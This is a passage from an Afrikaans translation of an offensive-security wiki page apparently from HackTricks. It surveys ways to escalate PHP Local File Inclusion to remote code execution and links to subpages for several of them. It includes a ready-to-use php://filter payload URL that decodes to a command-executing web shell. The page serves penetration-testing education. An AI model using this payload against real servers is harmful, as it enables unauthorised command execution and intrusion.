  2. Na inspuiting, gebruik die LFI om die bedienerlogs vanaf /var/log/vsftpd.log te herwin.

Via php base64 filter (deur base64 te gebruik)

Soos getoon in hierdie artikel, ignoreer PHP base64 filter net nie-base64 nie. Jy kan dit gebruik om die lêeruitbreidingskontrole te omseil: as jy base64 voorsien wat eindig met ".php", ignoreer dit net die "." en voeg "php" by die base64. Hier is 'n voorbeeld payload:

http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php

NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Via php-filters (geen lêer nodig nie)

Hierdie writeup verduidelik dat jy php-filters kan gebruik om willekeurige inhoud as uitset te genereer. Dit beteken basies dat jy willekeurige php-kode kan genereer vir die insluiting sonder om dit in 'n lêer te skryf.

{% content-ref url="lfi2rce-via-php-filters.md" %} lfi2rce-via-php-filters.md {% endcontent-ref %}

Via segmentasie-fout

Laai 'n lêer wat as tydelik in /tmp gestoor sal word, en veroorsaak dan in dieselfde versoek 'n segmentasie-fout, sodat die tydelike lêer nie uitgevee sal word nie en jy kan daarnaar soek.

{% content-ref url="lfi2rce-via-segmentation-fault.md" %} lfi2rce-via-segmentation-fault.md {% endcontent-ref %}

Via Nginx tydelike lêerstoor

As jy 'n Plaaslike Lêer Insluiting gevind het en Nginx voor PHP hardloop, kan jy dalk RCE verkry met die volgende tegniek:

{% content-ref url="lfi2rce-via-nginx-temp-files.md" %} lfi2rce-via-nginx-temp-files.md {% endcontent-ref %}

Via PHP_SESSION_UPLOAD_PROGRESS

As jy 'n Plaaslike Lêer Insluiting gevind het, selfs as jy nie 'n sessie het en session.auto_start is Off. As jy die PHP_SESSION_UPLOAD_PROGRESS in multipart POST-data voorsien, sal PHP die sessie vir jou aktiveer. Jy kan dit misbruik om RCE te kry:

{% content-ref url="via-php_session_upload_progress.md" %} via-php_session_upload_progress.md {% endcontent-ref %}

Via tydelike lêeroplaai in Windows

As jy 'n Plaaslike Lêer Insluiting gevind het en die bediener in Windows hardloop, kan jy RCE kry:

{% content-ref url="lfi2rce-via-temp-file-uploads.md" %} lfi2rce-via-temp-file-uploads.md {% endcontent-ref %}

Via phpinfo() (file_uploads = aan)

As jy 'n Plaaslike Lêer Insluiting gevind het en 'n lêer wat phpinfo() blootstel met file_uploads = aan, kan jy RCE kry:

{% content-ref url="lfi2rce-via-phpinfo.md" %} lfi2rce-via-phpinfo.md {% endcontent-ref %}

Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Pad Openbaarmaking

As jy 'n Plaaslike Lêer Insluiting gevind het en jy die pad van die tydelike lêer kan uitlek MAAR die bediener kyk of die in te sluit lêer PHP-merke het, kan jy probeer om daardie toets te omseil met hierdie Race Toestand:

{% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md {% endcontent-ref %}

Via ewige wag + brute krag

As jy die LFI kan misbruik om tydelike lêers op te laai en die bediener die PHP-uitvoering hang, kan jy dan ure lank lêernaamte met brute krag soek om die tydelike lêer te vind:

{% content-ref url="lfi2rce-via-eternal-waiting.md" %} lfi2rce-via-eternal-waiting.md {% endcontent-ref %}

Tot Fatale Fout

As jy enige van die lêers /usr/bin/phar, /usr/bin/phar7, /usr/bin/phar.phar7, /usr/bin/phar.phar insluit. (Jy moet dieselfde een 2 keer insluit om daardie fout te veroorsaak).

Ek weet nie hoe dit nuttig is nie, maar dit kan wees.
Al is dit 'n PHP Fatale Fout, word tydelike lêers wat opgelaai is, uitgevee.

Verwysings

{% file src="../../.gitbook/assets/EN-Local-File-Inclusion-1.pdf" %}

Sluit aan by HackenProof Discord bediener om te kommunikeer met ervare hackers en foutvinders van beloningsprogramme!

Hacking Insights
Raak betrokke by inhoud wat die opwinding en uitdagings van hacking ondersoek

Hack Nuus in Werklikheid
Bly op hoogte van die vinnige wêreld van hacking deur middel van nuus en insigte in werklikheid

Nuutste Aankondigings
Bly ingelig oor die nuutste beloningsprogramme wat begin en belangrike platform-opdaterings

Sluit aan by ons op Discord en begin vandag saamwerk met top hackers!

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun: